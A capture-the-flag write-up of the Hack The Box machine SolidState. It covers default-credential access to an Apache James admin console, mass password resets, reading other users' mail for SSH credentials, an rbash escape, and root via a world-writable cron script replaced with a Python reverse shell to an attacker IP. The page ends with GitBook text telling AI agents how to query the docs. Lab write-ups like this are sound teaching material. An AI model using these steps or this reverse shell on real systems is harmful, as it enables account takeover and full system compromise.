> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-solidstate.md).
# HTB - SolidState
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp open smtp?
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3?
119/tcp open nntp?
4555/tcp open rsip?
```
### HTTP
Contact form is static.
### Port 4555
A quick google search this
Port 4555 is most commonly used by the **Apache James** mail server for its **Remote Administration Tool**, and historically registered for **RSIP** (Realm-Specific IP) traffic.
asks for credentials the default credentials are `root : root`
login succeeded.
```bash
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
```
using root we try setting passwords.
mail admin seems interesting i will try setting his password.
```bash
setpassword mailadmin mail
Password for mailadmin reset
setpassword mindy mindy
Password for mindy reset
setpassword john john
Password for john reset
setpassword thomas thomas
Password for thomas reset
setpassword james james
Password for james reset
```
using these creds i will try logging through SMTP or POP3
### POP3
Connect to the POP3 service for each user and retrieve emails.
i can try reading those mails
got the credentials of mindy in the second mail.
## Shell as Mindy
```
username: mindy
pass: P@55W0rd1!2@
```
the shell is a rbash shell i can try escaping it.
#### Escaping RBash Shell
```bash
┌──(ajay㉿kali)-[~]
└─$ ssh mindy@10.129.68.52 -t "bash --noprofile"
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
mindy@10.129.68.52's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```
```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd /opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls
james-2.3.2 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Aug 22 2017 .
drwxr-xr-x 22 root root 4096 May 27 2022 ..
drwxr-xr-x 11 root root 4096 Apr 26 2021 james-2.3.2
-rwxrwxrwx 1 root root 105 Aug 22 2017 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$
```
opt has a `tmp.py` file that is writeable by everyone and is executed by root i guess.
```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$
```
root running the script every three minutes
that said i will modify the script to get reverse shell.
```bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.49", 5555)) # CHANGE THIS TO YOUR KALI IP
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
```
wait for 3 minutes and we get shell as root
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-solidstate.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
